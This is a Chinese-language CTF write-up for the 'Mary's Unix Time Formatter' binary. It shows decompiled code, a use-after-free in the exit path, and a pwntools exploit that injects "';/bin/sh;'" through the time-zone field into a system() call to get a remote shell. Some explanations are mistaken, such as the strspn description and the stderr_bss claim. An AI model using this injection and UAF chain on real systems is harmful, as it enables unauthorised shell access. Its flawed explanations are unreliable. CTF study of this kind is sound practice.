保护没开pie,关注bss区
主函数如下,修改了部分函数名
__int64 __fastcall main(int a1, char **a2, char **a3){__gid_t v3; // eaxint v4; // eaxv3 = getegid();setresgid(v3, v3, v3);setbuf(stdout, 0LL);puts("Welcome to Mary's Unix Time Formatter!");while ( 2 ){puts("1) Set a time format.");puts("2) Set a time.");puts("3) Set a time zone.");puts("4) Print your time.");puts("5) Exit.");__printf_chk(1LL, (__int64)"> ");fflush(stdout);switch ( fgets_16() ){case 1:v4 = set_a_time_format();goto LABEL_8;case 2:v4 = set_a_time();goto LABEL_8;case 3:v4 = set_a_time_zone();goto LABEL_8;case 4:v4 = print_your_time();LABEL_8:if ( !v4 )continue;return 0LL;case 5:exit();default:continue;}}}
直接看到选项1
__int64 set_a_time_format()
{
char *v0; // rbx
v0 = fgets_1024();
if ( check_v0_is_element_of_string(v0) )
{
ptr = v0; // bss段的ptr为刚才输入的字符串
puts("Format set.");
}
else
{
puts("Format contains invalid characters.");
ptr_into_bss(v0);
}
return 0LL;
}
fgets_1024
char *fgets_1024()
{
char s[1024]; // [rsp+8h] [rbp-410h] BYREF
unsigned __int64 v2; // [rsp+408h] [rbp-10h]
v2 = __readfsqword(0x28u);
__printf_chk(1LL, (__int64)"%s");
fflush(stdout);
fgets(s, 1024, stdin);
s[strcspn(s, "\n")] = 0; // 将\n变成0
return read_into_bss(s);
}
看看return的这个函数
char *__fastcall read_into_bss(const char *a1)
{
char *v1; // rax
char *v2; // rbx
v1 = strdup(a1);
if ( !v1 )
err(1, "strdup");
v2 = v1;
if ( getenv("DEBUG") )
__fprintf_chk(stderr_bss, 1LL, "strdup(%p) = %p\n", a1, v2);
return v2;
}
strdup就是一个更安全的strcpy,不用管,我们输入的s处理后以fmt形式写入了stderr_bss中
看看check_v0_is_element_of_string
最后这三句是检查s是不是那个字符串里的数据
_BOOL8 __fastcall check_v0_is_element_of_string(char *s)
{
char accept[51]; // [rsp+5h] [rbp-43h] BYREF
unsigned __int64 v3; // [rsp+38h] [rbp-10h]
strcpy(accept, "%aAbBcCdDeFgGhHIjklmNnNpPrRsStTuUVwWxXyYzZ:-_/0^# ");
v3 = __readfsqword(0x28u);
return strspn(s, accept) == strlen(s); // 看s是不是都是那个字符串的元素
}
补充下strspn
sizet strspn(const char _s, const char reject);
若strcspn()返回的数值为n, 则代表字符串s 连续有n 个字符都包含reject 内的字符.
回到选项1
__int64 set_a_time_format()
{
char *v0; // rbx
v0 = fgets_1024();
if ( check_v0_is_element_of_string(v0) )
{
ptr = v0; // bss段的ptr为刚才输入的字符串
puts("Format set.");
}
else
{
puts("Format contains invalid characters.");
ptr_into_bss(v0);
}
return 0LL;
}
可以看到v0给了bss段上的ptr,这点很重要
也就是我们的输入经过检验,存在ptr上
好的接下来看看选项2
__int64 set_a_time()
{
int v0; // eax
const char *v1; // rdi
__printf_chk(1LL, (__int64)"Enter your unix time: ");
fflush(stdout);
v0 = fgets_16();
v1 = "Unix time must be positive";
if ( v0 >= 0 )
{
unix_time = v0;
v1 = "Time set.";
}
puts(v1);
return 0LL;
}
同样的,将你的输入放在bss的unix_time上
看看3
__int64 set_a_time_zone()
{
value_bss = fgets_1024();
puts("Time zone set.");
return 0LL;
}
输入放在value_bss上
看看4
__int64 print_your_time()
{
char command[2048]; // [rsp+8h] [rbp-810h] BYREF
unsigned __int64 v2; // [rsp+808h] [rbp-10h]
v2 = __readfsqword(0x28u);
if ( ptr )
{
__snprintf_chk(command, 2048LL, 1LL, 2048LL, "/bin/date -d @%d +'%s'", (unsigned int)unix_time, (const char *)ptr);
__printf_chk(1LL, (__int64)"Your formatted time is: ");
fflush(stdout);
if ( getenv("DEBUG") )
__fprintf_chk(stderr_bss, 1LL, "Running command: %s\n", command);
setenv("TZ", value_bss, 1);
system(command);
}
else
{
puts("You haven't specified a format!");
}
return 0LL;
}
可以看到将unix_time和ptr写在command 然后给system执行,那么我们就得想办法构造binsh了
再看5
void __noreturn exit()
{
char s[16]; // [rsp+8h] [rbp-20h] BYREF
unsigned __int64 v1; // [rsp+18h] [rbp-10h]
v1 = __readfsqword(0x28u);
ptr_into_bss(ptr);
ptr_into_bss(value_bss);
__printf_chk(1LL, (__int64)"Are you sure you want to exit (y/N)? ");
fflush(stdout);
fgets(s, 16, stdin);
if ( (s[0] & 0xDF) == 89 )
puts("OK, exiting.");
}
这里要注意到一点漏洞,先执行了这两句之后才问你话
ptr_into_bss(ptr);
ptr_into_bss(value_bss);
看看这两句
oid __fastcall ptr_into_bss(void *ptr)
{
if ( getenv("DEBUG") )
__fprintf_chk(stderr_bss, 1LL, "free(%p)\n", ptr);
free(ptr);
}
free掉了ptr的内容,但是没修改指针指向,那就是uaf漏洞了
回想一下前面的和ptr有关的…….对,选项3也有一个向stderr写入的玩意
思路就来了,
- 我们先随意“Set a time format”
- 然后利用exit点no清除stderr指向的内容
- 再“Set a time zone”向stderr写入我们想写的内容
- 最后“Print your time.”,将ptr送入command
那么问题来了,我们该怎么写入才能让command执行我们的命令呢
看看两次写入的函数
__fprintf_chk(stderr_bss, 1LL, "strdup(%p) = %p\n", a1, v2);
__snprintf_chk(command, 2048LL, 1LL, 2048LL, "/bin/date -d @%d +'%s'", (unsigned int)unix_time, (const char *)ptr);
command=.......+'strdup(input)=input\n'+
以下是我个人理解,利用‘’将前后分开
'strdup(';/bin/sh;')=input\n'
exp如下
from pwn import*
import hashlib
context(os='Linux',arch='amd64',log_level = 'debug')
p=remote('111.200.241.244',63823)
p.sendlineafter('>','1')
p.sendlineafter('Format: ','a')
p.sendlineafter('>','5')
p.sendlineafter('Are you sure you want to exit (y/N)? ','N')
p.sendlineafter('>','3')
p.sendlineafter('Time zone: ',"asdasd';/bin/sh;'123")
p.sendlineafter('>','4')
p.interactive()
接下来实验了一下,大致验证了我的猜想
.sendlineafter('Time zone: ',"asdasd';/bin/sh;'123")
就算换成这样也是没问题的
反正都和前面化成str了
记住一点system可以执行多条命令,要用;隔开即可
